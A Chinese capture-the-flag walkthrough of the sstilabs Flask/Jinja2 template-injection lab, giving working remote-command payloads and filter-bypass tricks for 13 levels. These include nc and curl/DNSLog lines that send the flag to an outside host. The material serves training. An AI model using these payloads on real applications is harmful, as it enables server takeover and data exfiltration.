Flask SSTI LAB攻略

Flask SSTI LAB攻略

sstilab是一个模板注入的靶场,目前只有Flask模板注入的练习

地址:https://github.com/X3NNY/sstilabs

image-20210427111204793

level 1

WAF: no waf

由于他不是使用GET方法传数据,截包看一下他的数据是怎么传的,方便后续写脚本

image-20210427113339557

发现是用POST方法传一个code参数,再利用Burp去找可以利用的类

image-20210427143654201

看了几个发现并没有popen()函数,只有一个subprocess.Popen类,利用方式如下:

{{().__class__.__base__.__subclasses__()[258]('cat flag',shell=True,stdout=-1).communicate()[0].strip()}}

再看看__builtins__

{{().__class__.__base__.__subclasses__()[196].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat flag').read()")}}

然后又发现还有os函数

{{().__class__.__base__.__subclasses__()[258].__init__.__globals__['os'].popen('cat flag').read()}}

level 2

WAF: bl[‘{{‘]

这里过滤了{{,可以使用{%%}来绕过,由于第一关已经知道了能利用的类的下标,这里就不再重复

#popen
{%print(().__class__.__base__.__subclasses__()[258]('cat flag',shell=True,stdout=-1).communicate()[0].strip())%}

#__builtins__
{%print(().__class__.__base__.__subclasses__()[196].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat flag').read()"))%}

#os
{%print(().__class__.__base__.__subclasses__()[258].__init__.__globals__['os'].popen('cat flag').read())%}

level 3

WAF: no waf and blind

这一关是盲注,首先我们要知道可以利用的类的名字,比如我们从第一关就知道Popen这个类里面有os

  • 通过nc命令把目录传到自己的服务器上
{% for i in ''.__class__.__mro__[-1].__subclasses__() %}{% if i.__name__=='Popen' %}{{ i.__init__.__globals__['os'].popen('cat flag|nc 192.168.91.128 4444').read()}}{% endif %}{% endfor %}
image-20210427161914594
  • 使用DNSLog带出数据
{% for i in ''.__class__.__mro__[-1].__subclasses__() %}{% if i.__name__=='Popen' %}{{ i.__init__.__globals__['os'].popen('curl http://`cat flag`.t6n089.ceye.io').read()}}{% endif %}{% endfor %}
image-20210427162855827

level 4

WAF: bl[‘[‘, ‘]’]

第四关过滤了中括号,对于索引的[]可以用pop()__getitem__()代替[];而类的可以用__getattribute__绕过

这里还是使用Popen类里面的os

{{().__class__.__mro__.__getitem__(-1).__subclasses__().__getitem__(258).__init__.__globals__.__getitem__('os').popen('cat flag').read()}}

#一句话
{% for i in ''.__class__.__mro__.__getitem__(-1).__subclasses__() %}{% if i.__name__=='Popen' %}{{ i.__init__.__globals__.__getitem__('os').popen('cat flag').read()}}{% endif %}{% endfor %}

level 5

WAF: bl[‘\”, ‘”‘]

第五关过滤了引号,有两种方法绕过:

  • request绕过
#使用POST方法
{{().__class__.__mro__[-1].__subclasses__()[258].__init__.__globals__[request.values.arg1].popen(request.values.arg2).read()}}
POST:arg1=os&arg2=cat flag

#使用Cookie
{{().__class__.__mro__[-1].__subclasses__()[258].__init__.__globals__[request.cookies.arg1].popen(request.cookies.arg2).read()}}
Cookie:arg1=os;arg2=cat flag
  • chr()绕过

先找出chr()函数的位置

{{().__class__.__mro__[-1].__subclasses__()[§0§].__init__.__globals__.__builtins__.chr}}
image-20210427171234903
{%set chr=[].__class__.__mro__[-1].__subclasses__()[58].__init__.__globals__.__builtins__.chr%}
{%print(().__class__.__mro__[-1].__subclasses__()[258].__init__.__globals__[chr(111)%2bchr(115)].popen(chr(99)%2bchr(97)%2bchr(116)%2bchr(32)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)).read())%}

这个似乎没有成功,不知道为啥,还是requset方便,查ascii吐血

level 6

WAF: bl[‘_’]

第六关过滤了下划线_,可以使用编码或者attr()配合request绕过

  • 十六位编码
{{()["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fmro\x5f\x5f"][-1]["\x5f\x5fsubclasses\x5f\x5f"]()[258]["\x5f\x5finit\x5f\x5f"]["\x5f\x5fglobals\x5f\x5f"]["os"].popen("cat flag").read()}}
  • Unicode编码
{{lipsum|attr("\u005f\u005fglobals\u005f\u005f")|attr("\u005f\u005fgetitem\u005f\u005f")("os")|attr("popen")("cat flag")|attr("read")()}}

这里使用了lipsum这个方法直接调用os

  • base64编码
{{()|attr('X19jbGFzc19f'.decode('base64'))|attr('X19iYXNlX18='.decode('base64'))|attr('X19zdWJjbGFzc2VzX18='.decode('base64'))()|attr('X19nZXRpdGVtX18='.decode('base64'))(258)|attr('X19pbml0X18='.decode('base64'))|attr('X19nbG9iYWxzX18='.decode('base64'))|attr('X19nZXRpdGVtX18='.decode('base64'))('os')|attr('popen')('cat flag')|attr('read')()}}
  • attr()配合request
{{(x|attr(request.cookies.x1)|attr(request.cookies.x2)|attr(request.cookies.x3))(request.cookies.x4).eval(request.cookies.x5)}} 
x1=__init__;x2=__globals__;x3=__getitem__;x4=__builtins__;x5=__import__('os').popen('cat f*').read()

level 7

WAF: bl[‘.’]

第七关过滤了.

  • []绕过
{{()['__class__']['__base__']['__subclasses__']()['__getitem__'](258)['__init__']['__globals__']['__getitem__']('os')['popen']('cat flag')['read']()}}
  • attr()绕过
{{()|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(258)|attr('__init__')|attr('__globals__')|attr('__getitem__')('os')|attr('popen')('cat flag')|attr('read')()}}

level 8

WAF: bl[“class”, “arg”, “form”, “value”, “data”, “request”, “init”, “global”, “open”, “mro”, “base”, “attr”]

第八关过滤了一堆关键字,使用拼接绕过

{{()['__cl'+'ass__']['__ba'+'se__']['__subcl'+'asses__']()['__getitem__'](258)['__in'+'it__']['__gl'+'obals__']['__getitem__']('os')['po'+'pen']('cat flag')['read']()}}

level 9

WAF: bl[‘0-9’]

第九关过滤了数字

  • 直接用for循环找到可以利用的类直接利用,
{% for i in (''.__class__.__mro__|last()).__subclasses__() %}{% if i.__name__=='Popen' %}{{ i.__init__.__globals__.__getitem__('os').popen('cat flag').read()}}{% endif %}{% endfor %}

由于这里的__base__并不是object,因此要用到__mro__[-1]来获取object类,然而又过滤了数字,所以要用last()来获取最后一个类

  • lipsum不通过数字直接利用
{{lipsum|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("cat flag")|attr("read")()}}
  • 构造数字进行拼接
{% set two=dict(aa=a)|join|count %}
{% set five=dict(aaaaa=a)|join|count %}
{% set eight=dict(aaaaaaaa=a)|join|count %}
{% set erwuba=(two~five~eight)|int %}
{{().__class__.__base__.__subclasses__()[erwuba].__init__.__globals__['os'].popen('cat flag').read()}}

level 10

WAF: set config = None

这一关的目标不是flag,而是获取config,可以通过current_app来获取

  • url_for
{{url_for.__globals__['current_app'].config}}
  • get_flashed_messages
{{get_flashed_messages.__globals__['current_app'].config}}

level 11

WAF: bl[‘\”, ‘”‘, ‘+’, ‘request’, ‘.’, ‘[‘, ‘]’]

11关过滤了一堆东西,先确定一个利用的基本payload

{{lipsum|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("cat flag")|attr("read")()}}

然后再构造变量来绕过,思路为:利用set来定义变量,使用attr()来提取使用变量绕过点,中括号。但是这样存在一个问题是需要获取下划线,这里通过lipsum来获取下划线。

首先查看_在第几个,这里是下标18为下划线

{{(lipsum|string|list)}}
image-20210506114843187
{{(lipsum|string|list)|attr(pop)(18)}}

这里问题来了,attr()里面要求的是字符串,直接输pop需要用引号''包围起来,但是这里又过滤了引号,所以要先构造一个pop字符串:

{% set pop=dict(pop=a)|join%}
{% set xiahuaxian=(lipsum|string|list)|attr(pop)(18)%}

此时就能成功取到_,再用下划线去构造其他的类:

{% set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join %}
{% set getitem=(xiahuaxian,xiahuaxian,dict(getitem=a)|join,xiahuaxian,xiahuaxian)|join %}

再去构造后面用到的方法:

{% set space=(lipsum|string|list)|attr(pop)(9)%}
{% set os=dict(os=a)|join %}
{% set popen=dict(popen=a)|join%}
{% set cat=dict(cat=a)|join%}
{% set cmd=(cat,space,dict(flag=a)|join)|join%}
{% set read=dict(read=a)|join%}

最后就是完整的利用语法:

{{(lipsum|attr(globals))|attr(getitem)(os)|attr(popen)(cmd)|attr(read)()}}

合在一起就是:

{% set pop=dict(pop=a)|join%}
{% set xiahuaxian=(lipsum|string|list)|attr(pop)(18)%}
{% set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join %}
{% set getitem=(xiahuaxian,xiahuaxian,dict(getitem=a)|join,xiahuaxian,xiahuaxian)|join %}
{% set space=(lipsum|string|list)|attr(pop)(9)%}
{% set os=dict(os=a)|join %}
{% set popen=dict(popen=a)|join%}
{% set cat=dict(cat=a)|join%}
{% set cmd=(cat,space,dict(flag=a)|join)|join%}
{% set read=dict(read=a)|join%}
{{(lipsum|attr(globals))|attr(getitem)(os)|attr(popen)(cmd)|attr(read)()}}

level 12

WAF: bl[‘_’, ‘.’, ‘0-9’, ‘\’, ‘\”, ‘”‘, ‘[‘, ‘]’]

这一关把下划线_和数字也过滤了,可以在上一关的基础上加入数字

{% set nine=dict(aaaaaaaaa=a)|join|count %}
{% set eighteen=nine+nine %}

{% set pop=dict(pop=a)|join%}
{% set xiahuaxian=(lipsum|string|list)|attr(pop)(eighteen)%}
{% set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join %}
{% set getitem=(xiahuaxian,xiahuaxian,dict(getitem=a)|join,xiahuaxian,xiahuaxian)|join %}
{% set space=(lipsum|string|list)|attr(pop)(nine)%}
{% set os=dict(os=a)|join %}
{% set popen=dict(popen=a)|join%}
{% set cat=dict(cat=a)|join%}
{% set cmd=(cat,space,dict(flag=a)|join)|join%}
{% set read=dict(read=a)|join%}
{{(lipsum|attr(globals))|attr(getitem)(os)|attr(popen)(cmd)|attr(read)()}}

level 13

WAF: bl[‘_’, ‘.’, ‘\’, ‘\”, ‘”‘, ‘request’, ‘+’, ‘class’, ‘init’, ‘arg’, ‘config’, ‘app’, ‘self’, ‘[‘, ‘]’]

过滤的东西更多了,但是我们上面的payload完美避开

{% set pop=dict(pop=a)|join%}
{% set xiahuaxian=(lipsum|string|list)|attr(pop)(18)%}
{% set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join %}
{% set getitem=(xiahuaxian,xiahuaxian,dict(getitem=a)|join,xiahuaxian,xiahuaxian)|join %}
{% set space=(lipsum|string|list)|attr(pop)(9)%}
{% set os=dict(os=a)|join %}
{% set popen=dict(popen=a)|join%}
{% set cat=dict(cat=a)|join%}
{% set cmd=(cat,space,dict(flag=a)|join)|join%}
{% set read=dict(read=a)|join%}
{{(lipsum|attr(globals))|attr(getitem)(os)|attr(popen)(cmd)|attr(read)()}}

参考资料

GitHub SSTI靶场 wp

MAR & DASCTF 2021 baby_flask

CTFshow-WEB入门-SSTI

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇